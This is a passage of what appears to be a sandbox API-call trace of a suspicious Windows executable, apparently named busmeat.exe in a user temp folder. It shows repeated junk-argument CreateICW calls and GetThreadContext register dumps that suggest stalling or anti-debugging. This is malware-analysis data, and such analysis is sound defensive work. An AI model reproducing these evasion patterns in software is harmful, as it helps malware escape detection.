[329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.129] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.130] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.130] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.130] GetConsoleCP () returned 0x0
	[0066.130] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.130] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.131] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.131] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.131] GetConsoleCP () returned 0x0
	[0066.131] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.131] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.132] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.132] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.132] GetConsoleCP () returned 0x0
	[0066.132] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, 